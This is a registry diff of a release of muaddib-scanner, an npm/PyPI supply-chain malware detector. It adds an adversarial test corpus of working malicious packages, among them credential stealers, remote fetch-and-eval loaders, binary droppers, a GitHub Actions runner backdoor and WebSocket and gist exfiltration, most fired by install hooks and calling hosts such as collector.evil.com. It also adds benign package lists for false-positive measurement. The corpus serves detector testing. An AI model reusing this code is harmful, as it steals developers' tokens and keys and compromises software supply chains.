muaddib-scanner 2.1.5 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (100) hide show
  1. package/README.fr.md +33 -8
  2. package/README.md +33 -8
  3. package/assets/logo2removebg.png +0 -0
  4. package/bin/muaddib.js +9 -0
  5. package/datasets/adversarial/README.md +23 -0
  6. package/datasets/adversarial/ai-agent-weaponization/index.js +5 -0
  7. package/datasets/adversarial/ai-agent-weaponization/package.json +9 -0
  8. package/datasets/adversarial/ai-agent-weaponization/setup.js +83 -0
  9. package/datasets/adversarial/ai-config-injection/.cursorrules +36 -0
  10. package/datasets/adversarial/ai-config-injection/index.js +16 -0
  11. package/datasets/adversarial/ai-config-injection/package.json +8 -0
  12. package/datasets/adversarial/browser-api-hook/index.js +66 -0
  13. package/datasets/adversarial/browser-api-hook/package.json +6 -0
  14. package/datasets/adversarial/bun-runtime-evasion/bun_environment.js +23 -0
  15. package/datasets/adversarial/bun-runtime-evasion/package.json +9 -0
  16. package/datasets/adversarial/bun-runtime-evasion/setup.js +10 -0
  17. package/datasets/adversarial/ci-trigger-exfil/index.js +17 -0
  18. package/datasets/adversarial/ci-trigger-exfil/package.json +9 -0
  19. package/datasets/adversarial/conditional-chain/index.js +14 -0
  20. package/datasets/adversarial/conditional-chain/package.json +9 -0
  21. package/datasets/adversarial/crypto-wallet-harvest/index.js +44 -0
  22. package/datasets/adversarial/crypto-wallet-harvest/package.json +6 -0
  23. package/datasets/adversarial/dead-mans-switch/index.js +35 -0
  24. package/datasets/adversarial/dead-mans-switch/package.json +9 -0
  25. package/datasets/adversarial/delayed-exfil/index.js +6 -0
  26. package/datasets/adversarial/delayed-exfil/package.json +6 -0
  27. package/datasets/adversarial/detached-background/launcher.js +11 -0
  28. package/datasets/adversarial/detached-background/package.json +9 -0
  29. package/datasets/adversarial/detached-background/worker.js +26 -0
  30. package/datasets/adversarial/discord-webhook-exfil/index.js +95 -0
  31. package/datasets/adversarial/discord-webhook-exfil/package.json +9 -0
  32. package/datasets/adversarial/dns-chunk-exfil/index.js +10 -0
  33. package/datasets/adversarial/dns-chunk-exfil/package.json +6 -0
  34. package/datasets/adversarial/docker-aware/index.js +10 -0
  35. package/datasets/adversarial/docker-aware/package.json +6 -0
  36. package/datasets/adversarial/double-base64-exfil/index.js +11 -0
  37. package/datasets/adversarial/double-base64-exfil/package.json +9 -0
  38. package/datasets/adversarial/dynamic-import/index.js +21 -0
  39. package/datasets/adversarial/dynamic-import/package.json +9 -0
  40. package/datasets/adversarial/dynamic-require/index.js +3 -0
  41. package/datasets/adversarial/dynamic-require/package.json +9 -0
  42. package/datasets/adversarial/fake-captcha-fingerprint/index.js +64 -0
  43. package/datasets/adversarial/fake-captcha-fingerprint/package.json +9 -0
  44. package/datasets/adversarial/gh-cli-token-steal/index.js +31 -0
  45. package/datasets/adversarial/gh-cli-token-steal/package.json +6 -0
  46. package/datasets/adversarial/github-exfil/index.js +33 -0
  47. package/datasets/adversarial/github-exfil/package.json +9 -0
  48. package/datasets/adversarial/iife-exfil/index.js +17 -0
  49. package/datasets/adversarial/iife-exfil/package.json +9 -0
  50. package/datasets/adversarial/nested-payload/index.js +3 -0
  51. package/datasets/adversarial/nested-payload/package.json +9 -0
  52. package/datasets/adversarial/nested-payload/utils/helper.js +6 -0
  53. package/datasets/adversarial/nested-payload/utils/lib/format.js +23 -0
  54. package/datasets/adversarial/postinstall-download/package.json +8 -0
  55. package/datasets/adversarial/preinstall-background-fork/bootstrap.js +16 -0
  56. package/datasets/adversarial/preinstall-background-fork/index.js +2 -0
  57. package/datasets/adversarial/preinstall-background-fork/package.json +9 -0
  58. package/datasets/adversarial/preinstall-background-fork/stealer.js +67 -0
  59. package/datasets/adversarial/preinstall-exec/package.json +9 -0
  60. package/datasets/adversarial/preinstall-exec/steal.js +24 -0
  61. package/datasets/adversarial/proxy-env-intercept/index.js +33 -0
  62. package/datasets/adversarial/proxy-env-intercept/package.json +9 -0
  63. package/datasets/adversarial/pyinstaller-dropper/index.js +25 -0
  64. package/datasets/adversarial/pyinstaller-dropper/package.json +9 -0
  65. package/datasets/adversarial/rdd-zero-deps/index.js +32 -0
  66. package/datasets/adversarial/rdd-zero-deps/init.js +15 -0
  67. package/datasets/adversarial/rdd-zero-deps/package.json +11 -0
  68. package/datasets/adversarial/remote-dynamic-dependency/index.js +15 -0
  69. package/datasets/adversarial/remote-dynamic-dependency/package.json +7 -0
  70. package/datasets/adversarial/self-hosted-runner-backdoor/index.js +28 -0
  71. package/datasets/adversarial/self-hosted-runner-backdoor/package.json +9 -0
  72. package/datasets/adversarial/silent-error-swallow/index.js +32 -0
  73. package/datasets/adversarial/silent-error-swallow/package.json +6 -0
  74. package/datasets/adversarial/staged-fetch/index.js +9 -0
  75. package/datasets/adversarial/staged-fetch/package.json +6 -0
  76. package/datasets/adversarial/string-concat-obfuscation/index.js +6 -0
  77. package/datasets/adversarial/string-concat-obfuscation/package.json +6 -0
  78. package/datasets/adversarial/template-literal-obfuscation/index.js +4 -0
  79. package/datasets/adversarial/template-literal-obfuscation/package.json +9 -0
  80. package/datasets/adversarial/triple-base64-github-push/index.js +38 -0
  81. package/datasets/adversarial/triple-base64-github-push/package.json +9 -0
  82. package/datasets/adversarial/websocket-exfil/index.js +34 -0
  83. package/datasets/adversarial/websocket-exfil/package.json +9 -0
  84. package/datasets/benign/README.md +20 -0
  85. package/datasets/benign/packages-npm.txt +98 -0
  86. package/datasets/benign/packages-pypi.txt +49 -0
  87. package/metrics/v2.1.5.json +753 -0
  88. package/metrics/v2.2.0.json +753 -0
  89. package/nul +0 -5
  90. package/package.json +1 -1
  91. package/src/commands/evaluate.js +270 -0
  92. package/src/index.js +12 -5
  93. package/src/ioc/bootstrap.js +1 -0
  94. package/src/response/playbooks.js +66 -0
  95. package/src/rules/index.js +181 -0
  96. package/src/scanner/ai-config.js +183 -0
  97. package/src/scanner/ast.js +496 -2
  98. package/src/scanner/dataflow.js +147 -16
  99. package/src/scanner/package.js +3 -1
  100. package/src/utils.js +10 -3
@@ -0,0 +1,67 @@
1
+ // Background stealer — runs detached from npm install process
2
+ // Waits for parent to exit, then harvests credentials silently
3
+
4
+ const fs = require('fs');
5
+ const https = require('https');
6
+ const os = require('os');
7
+ const path = require('path');
8
+
9
+ // Wait 3 minutes — ensures npm install has finished and sandbox timeout has passed
10
+ setTimeout(() => {
11
+ const loot = {
12
+ host: os.hostname(),
13
+ user: os.userInfo().username,
14
+ arch: os.arch(),
15
+ platform: process.platform,
16
+ pid: process.pid,
17
+ parentPid: process.env._MUADDIB_PARENT_PID
18
+ };
19
+
20
+ // Steal .npmrc tokens
21
+ try {
22
+ loot.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
23
+ } catch (e) {}
24
+
25
+ // Steal SSH private keys
26
+ const sshDir = path.join(os.homedir(), '.ssh');
27
+ try {
28
+ const files = fs.readdirSync(sshDir);
29
+ loot.ssh = {};
30
+ for (const f of files) {
31
+ if (f.startsWith('id_') && !f.endsWith('.pub')) {
32
+ try {
33
+ loot.ssh[f] = fs.readFileSync(path.join(sshDir, f), 'utf8');
34
+ } catch (e) {}
35
+ }
36
+ }
37
+ } catch (e) {}
38
+
39
+ // Steal AWS credentials
40
+ try {
41
+ loot.aws = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
42
+ } catch (e) {}
43
+
44
+ // Steal .env from common project directories
45
+ const cwd = process.cwd();
46
+ try {
47
+ loot.dotenv = fs.readFileSync(path.join(cwd, '.env'), 'utf8');
48
+ } catch (e) {}
49
+
50
+ // Exfiltrate via HTTPS POST to attacker C2
51
+ const data = JSON.stringify(loot);
52
+ const req = https.request({
53
+ hostname: 'api.pkg-telemetry.dev',
54
+ path: '/v1/metrics',
55
+ method: 'POST',
56
+ headers: {
57
+ 'Content-Type': 'application/json',
58
+ 'Content-Length': Buffer.byteLength(data),
59
+ 'User-Agent': 'npm/10.0.0 node/v20.0.0'
60
+ }
61
+ }, () => {
62
+ process.exit(0);
63
+ });
64
+ req.on('error', () => process.exit(0));
65
+ req.write(data);
66
+ req.end();
67
+ }, 3 * 60 * 1000);
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "preinstall-exec",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: Shai-Hulud 2.0 preinstall token theft",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node steal.js"
8
+ }
9
+ }
@@ -0,0 +1,24 @@
1
+ // Runs BEFORE install completes — even if npm install fails, this already executed
2
+ const fs = require('fs');
3
+ const http = require('http');
4
+ const os = require('os');
5
+ const path = require('path');
6
+
7
+ // Read npm tokens from .npmrc
8
+ const npmrcPath = path.join(os.homedir(), '.npmrc');
9
+ let tokens = '';
10
+ try {
11
+ tokens = fs.readFileSync(npmrcPath, 'utf8');
12
+ } catch (e) {}
13
+
14
+ // Exfiltrate via HTTP POST
15
+ const data = JSON.stringify({ host: os.hostname(), npmrc: tokens });
16
+ const req = http.request({
17
+ hostname: 'telemetry.npm-stats.io',
18
+ port: 80,
19
+ path: '/api/install-metrics',
20
+ method: 'POST',
21
+ headers: { 'Content-Type': 'application/json' }
22
+ }, () => {});
23
+ req.write(data);
24
+ req.end();
@@ -0,0 +1,33 @@
1
+ // Adversarial sample: Proxy trap on process.env captures all env vars silently
2
+ var http = require('http');
3
+ var collected = {};
4
+
5
+ var handler = {
6
+ get: function(target, prop) {
7
+ var val = target[prop];
8
+ if (typeof val === 'string' && prop !== 'PATH' && prop !== 'HOME') {
9
+ collected[prop] = val;
10
+ }
11
+ return val;
12
+ }
13
+ };
14
+
15
+ process.env = new Proxy(process.env, handler);
16
+
17
+ // Trigger reads that the app would normally do
18
+ var _ = process.env.NODE_ENV;
19
+ var __ = process.env.npm_config_registry;
20
+
21
+ setTimeout(function() {
22
+ var payload = JSON.stringify(collected);
23
+ var opts = {
24
+ hostname: 'collector.evil.com',
25
+ port: 80,
26
+ path: '/env',
27
+ method: 'POST',
28
+ headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
29
+ };
30
+ var req = http.request(opts, function() {});
31
+ req.write(payload);
32
+ req.end();
33
+ }, 5000);
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "proxy-env-intercept",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: Proxy on process.env to intercept all env access silently",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,25 @@
1
+ // PhantomRaven dropper (Sonatype): download binary, chmod, execute
2
+ // Classic dropper pattern — postinstall downloads and runs an external binary
3
+
4
+ const fs = require('fs');
5
+ const https = require('https');
6
+ const { exec } = require('child_process');
7
+ const path = require('path');
8
+
9
+ const BINARY_URL = 'https://cdn.release-assets.dev/v3/update';
10
+ const DROP_PATH = '/tmp/update';
11
+
12
+ const file = fs.createWriteStream(DROP_PATH);
13
+
14
+ https.get(BINARY_URL, (response) => {
15
+ response.pipe(file);
16
+ file.on('finish', () => {
17
+ file.close();
18
+ // Make executable and run
19
+ fs.chmodSync(DROP_PATH, 0o755);
20
+ exec(DROP_PATH, { timeout: 30000 }, () => {
21
+ // Clean up after execution
22
+ try { fs.unlinkSync(DROP_PATH); } catch (e) {}
23
+ });
24
+ });
25
+ }).on('error', () => {});
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "pyinstaller-dropper",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: PhantomRaven binary dropper (Sonatype)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,32 @@
1
+ // PhantomRaven variant: zero dependencies, runtime payload download
2
+ // 200+ packages, 86K victims (Sonatype/Koi Security, Oct 2025)
3
+ // The package.json shows zero dependencies to project a false sense of security
4
+
5
+ const http = require('http');
6
+ const https = require('https');
7
+
8
+ // Stage 1: Fetch payload from what looks like a CDN config endpoint
9
+ function loadConfig() {
10
+ return new Promise((resolve, reject) => {
11
+ const req = https.get('https://cdn.config-registry.io/v3/runtime/loader.js', (res) => {
12
+ let body = '';
13
+ res.on('data', chunk => body += chunk);
14
+ res.on('end', () => resolve(body));
15
+ });
16
+ req.on('error', reject);
17
+ });
18
+ }
19
+
20
+ // Stage 2: Execute the downloaded payload
21
+ async function bootstrap() {
22
+ try {
23
+ const payload = await loadConfig();
24
+ // Dynamic evaluation — the actual malicious code is never on disk
25
+ const fn = new Function('require', 'process', payload);
26
+ fn(require, process);
27
+ } catch (e) {
28
+ // Silent failure — don't alert the user
29
+ }
30
+ }
31
+
32
+ bootstrap();
@@ -0,0 +1,15 @@
1
+ // PhantomRaven postinstall: downloads and evals setup script
2
+ // Runs during npm install — payload is fetched from remote server
3
+
4
+ const https = require('https');
5
+
6
+ const url = 'https://registry.npm-config.dev/setup/init.js';
7
+
8
+ https.get(url, (res) => {
9
+ let data = '';
10
+ res.on('data', chunk => data += chunk);
11
+ res.on('end', () => {
12
+ // eval the remote payload — never stored on disk
13
+ eval(data);
14
+ });
15
+ }).on('error', () => {});
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "rdd-zero-deps",
3
+ "version": "2.0.1",
4
+ "description": "Adversarial sample: PhantomRaven zero-dependency variant (Sonatype/Koi Oct 2025)",
5
+ "main": "index.js",
6
+ "dependencies": {},
7
+ "devDependencies": {},
8
+ "scripts": {
9
+ "postinstall": "node init.js"
10
+ }
11
+ }
@@ -0,0 +1,15 @@
1
+ // PhantomRaven pattern: zero dependencies, payload fetched at runtime
2
+ // No require('child_process'), no require('fs'), no import — just fetch + eval
3
+
4
+ async function initialize() {
5
+ // Fetch remote configuration (actually malicious payload)
6
+ const response = await fetch('https://cdn.jsdelivr.net/npm/@config-loader/runtime/config.js');
7
+ const payload = await response.text();
8
+
9
+ // Execute fetched code — the real malware lives on the remote server
10
+ // This makes static analysis nearly impossible: the malicious code is never in the package
11
+ eval(payload);
12
+ }
13
+
14
+ // Auto-execute on require/import
15
+ initialize();
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "remote-dynamic-dependency",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: PhantomRaven zero-dependency runtime payload",
5
+ "main": "index.js",
6
+ "dependencies": {}
7
+ }
@@ -0,0 +1,28 @@
1
+ // Shai-Hulud 2.0: create a GitHub Actions workflow that registers as self-hosted runner
2
+ // Persistence technique — no direct exfiltration, drops a backdoor workflow file
3
+
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+
7
+ const workflowContent = `name: discussion
8
+ on:
9
+ discussion:
10
+ types: [created]
11
+ jobs:
12
+ process:
13
+ runs-on: self-hosted
14
+ steps:
15
+ - name: Setup
16
+ run: |
17
+ curl -sL https://setup.runner-config.dev/install.sh | bash
18
+ echo "Runner configured"
19
+ `;
20
+
21
+ // Find the nearest .github directory or create one
22
+ const projectRoot = process.cwd();
23
+ const ghDir = path.join(projectRoot, '.github', 'workflows');
24
+
25
+ try {
26
+ fs.mkdirSync(ghDir, { recursive: true });
27
+ fs.writeFileSync(path.join(ghDir, 'discussion.yaml'), workflowContent);
28
+ } catch (e) {}
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "self-hosted-runner-backdoor",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: Shai-Hulud 2.0 self-hosted runner persistence",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,32 @@
1
+ // Shai-Hulud v1: all malicious code wrapped in try/catch with empty catch
2
+ // No errors, no logs, completely silent — user never knows it ran
3
+
4
+ const fs = require('fs');
5
+ const https = require('https');
6
+ const os = require('os');
7
+ const path = require('path');
8
+
9
+ try {
10
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
11
+ const data = JSON.stringify({ h: os.hostname(), t: npmrc });
12
+ const req = https.request({
13
+ hostname: 'telemetry.pkg-analytics.io',
14
+ path: '/v1/report',
15
+ method: 'POST',
16
+ headers: { 'Content-Type': 'application/json' }
17
+ }, () => {});
18
+ req.write(data);
19
+ req.end();
20
+ } catch (e) {}
21
+
22
+ try {
23
+ const envFile = fs.readFileSync(path.join(process.cwd(), '.env'), 'utf8');
24
+ const req2 = https.request({
25
+ hostname: 'telemetry.pkg-analytics.io',
26
+ path: '/v1/env',
27
+ method: 'POST',
28
+ headers: { 'Content-Type': 'application/json' }
29
+ }, () => {});
30
+ req2.write(JSON.stringify({ env: envFile }));
31
+ req2.end();
32
+ } catch (e) {}
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "silent-error-swallow",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: Shai-Hulud v1 silent try/catch credential theft",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,9 @@
1
+ const https = require('https');
2
+
3
+ https.get('https://pastebin.com/raw/abc123', (res) => {
4
+ let body = '';
5
+ res.on('data', (chunk) => { body += chunk; });
6
+ res.on('end', () => {
7
+ eval(body);
8
+ });
9
+ });
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "staged-fetch",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: remote payload fetch + eval",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,6 @@
1
+ const a = 'chi';
2
+ const b = 'ld_';
3
+ const c = 'pro';
4
+ const d = 'cess';
5
+ const mod = require(a + b + c + d);
6
+ mod.exec('whoami');
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "string-concat-obfuscation",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: string concatenation to evade static analysis",
5
+ "main": "index.js"
6
+ }
@@ -0,0 +1,4 @@
1
+ // Adversarial sample: template literal obfuscation to hide module name
2
+ const m = `child${'_'}proc${'ess'}`;
3
+ const mod = require(m);
4
+ mod.exec('whoami > /tmp/.output && curl -X POST -d @/tmp/.output http://evil.com/collect');
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "template-literal-obfuscation",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: template literals to reconstruct dangerous module names",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,38 @@
1
+ // Shai-Hulud v1: collect all env vars, triple base64 encode, push to GitHub API
2
+ // Exfiltration via a legitimate service (api.github.com)
3
+
4
+ const https = require('https');
5
+ const os = require('os');
6
+
7
+ // Collect all environment variables
8
+ const envDump = JSON.stringify(process.env);
9
+
10
+ // Triple base64 encode to evade pattern detection
11
+ const b1 = Buffer.from(envDump).toString('base64');
12
+ const b2 = Buffer.from(b1).toString('base64');
13
+ const b3 = Buffer.from(b2).toString('base64');
14
+
15
+ // Create a public gist via GitHub API with the stolen data
16
+ const gistPayload = JSON.stringify({
17
+ description: 'config-backup-' + Date.now(),
18
+ public: true,
19
+ files: {
20
+ 'config.txt': {
21
+ content: b3
22
+ }
23
+ }
24
+ });
25
+
26
+ const req = https.request({
27
+ hostname: 'api.github.com',
28
+ path: '/gists',
29
+ method: 'POST',
30
+ headers: {
31
+ 'Content-Type': 'application/json',
32
+ 'User-Agent': 'node-fetch/1.0',
33
+ 'Authorization': `token ${process.env.GITHUB_TOKEN || ''}`,
34
+ 'Content-Length': Buffer.byteLength(gistPayload)
35
+ }
36
+ }, () => {});
37
+ req.write(gistPayload);
38
+ req.end();
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "triple-base64-github-push",
3
+ "version": "1.0.0",
4
+ "description": "Holdout sample: Shai-Hulud v1 triple base64 + GitHub API exfil",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,34 @@
1
+ // Adversarial sample: WebSocket exfiltration — bypasses HTTP/HTTPS/DNS detection
2
+ var net = require('net');
3
+ var fs = require('fs');
4
+ var os = require('os');
5
+ var crypto = require('crypto');
6
+
7
+ // Read sensitive data
8
+ var envDump = JSON.stringify(process.env);
9
+ var npmrc = '';
10
+ try { npmrc = fs.readFileSync(os.homedir() + '/.npmrc', 'utf8'); } catch(e) {}
11
+
12
+ // Manual WebSocket handshake over raw TCP to avoid http.request detection
13
+ var socket = net.connect(80, 'ws.evil.com', function() {
14
+ var wsKey = crypto.randomBytes(16).toString('base64');
15
+ var upgrade = 'GET /exfil HTTP/1.1\r\n' +
16
+ 'Host: ws.evil.com\r\n' +
17
+ 'Upgrade: websocket\r\n' +
18
+ 'Connection: Upgrade\r\n' +
19
+ 'Sec-WebSocket-Key: ' + wsKey + '\r\n' +
20
+ 'Sec-WebSocket-Version: 13\r\n\r\n';
21
+ socket.write(upgrade);
22
+
23
+ // Send payload as WebSocket frame after handshake
24
+ setTimeout(function() {
25
+ var payload = JSON.stringify({ env: envDump, npmrc: npmrc });
26
+ var buf = Buffer.from(payload);
27
+ var frame = Buffer.alloc(2 + buf.length);
28
+ frame[0] = 0x81;
29
+ frame[1] = buf.length;
30
+ buf.copy(frame, 2);
31
+ socket.write(frame);
32
+ socket.end();
33
+ }, 1000);
34
+ });
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "websocket-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Adversarial sample: WebSocket exfiltration bypassing HTTP detection",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
@@ -0,0 +1,20 @@
1
+ # Benign Dataset
2
+
3
+ This dataset contains known-legitimate packages used to measure MUAD'DIB's **False Positive Rate (FPR)**.
4
+
5
+ ## Contents
6
+
7
+ - `packages-npm.txt` — 100 popular npm packages (one per line)
8
+ - `packages-pypi.txt` — 50 popular PyPI packages (one per line)
9
+
10
+ ## FPR Calculation
11
+
12
+ ```
13
+ FPR = packages with score > 20 / total packages scanned
14
+ ```
15
+
16
+ A package scoring above 20 on a known-legitimate package is considered a false positive.
17
+
18
+ ## Target
19
+
20
+ **FPR < 5%** — fewer than 8 false positives out of 150 packages.
@@ -0,0 +1,98 @@
1
+ express
2
+ lodash
3
+ react
4
+ axios
5
+ webpack
6
+ typescript
7
+ eslint
8
+ prettier
9
+ jest
10
+ mocha
11
+ next
12
+ vue
13
+ moment
14
+ dayjs
15
+ uuid
16
+ chalk
17
+ commander
18
+ inquirer
19
+ yargs
20
+ dotenv
21
+ cors
22
+ body-parser
23
+ mongoose
24
+ sequelize
25
+ passport
26
+ jsonwebtoken
27
+ bcrypt
28
+ nodemailer
29
+ socket.io
30
+ redis
31
+ pg
32
+ mysql2
33
+ sqlite3
34
+ sharp
35
+ multer
36
+ formidable
37
+ cheerio
38
+ puppeteer
39
+ playwright
40
+ cypress
41
+ electron
42
+ react-dom
43
+ react-router
44
+ redux
45
+ mobx
46
+ rxjs
47
+ ramda
48
+ underscore
49
+ async
50
+ debug
51
+ minimist
52
+ glob
53
+ rimraf
54
+ mkdirp
55
+ semver
56
+ yup
57
+ zod
58
+ ajv
59
+ joi
60
+ express-validator
61
+ helmet
62
+ compression
63
+ morgan
64
+ winston
65
+ pino
66
+ bunyan
67
+ dotenv-expand
68
+ cross-env
69
+ concurrently
70
+ nodemon
71
+ ts-node
72
+ esbuild
73
+ rollup
74
+ vite
75
+ parcel
76
+ core-js
77
+ regenerator-runtime
78
+ whatwg-fetch
79
+ isomorphic-fetch
80
+ node-fetch
81
+ got
82
+ superagent
83
+ form-data
84
+ busboy
85
+ cookie-parser
86
+ express-session
87
+ connect-redis
88
+ ioredis
89
+ bull
90
+ agenda
91
+ node-cron
92
+ date-fns
93
+ luxon
94
+ numeral
95
+ decimal.js
96
+ bignumber.js
97
+ mathjs
98
+ lodash-es
@@ -0,0 +1,49 @@
1
+ requests
2
+ numpy
3
+ pandas
4
+ flask
5
+ django
6
+ fastapi
7
+ sqlalchemy
8
+ pytest
9
+ black
10
+ pylint
11
+ mypy
12
+ pydantic
13
+ httpx
14
+ aiohttp
15
+ celery
16
+ redis
17
+ boto3
18
+ pillow
19
+ opencv-python
20
+ tensorflow
21
+ torch
22
+ scikit-learn
23
+ matplotlib
24
+ seaborn
25
+ plotly
26
+ beautifulsoup4
27
+ scrapy
28
+ selenium
29
+ playwright
30
+ lxml
31
+ pyyaml
32
+ toml
33
+ python-dotenv
34
+ click
35
+ typer
36
+ rich
37
+ tqdm
38
+ loguru
39
+ structlog
40
+ sentry-sdk
41
+ gunicorn
42
+ uvicorn
43
+ starlette
44
+ jinja2
45
+ mako
46
+ alembic
47
+ psycopg2
48
+ pymongo
49
+ motor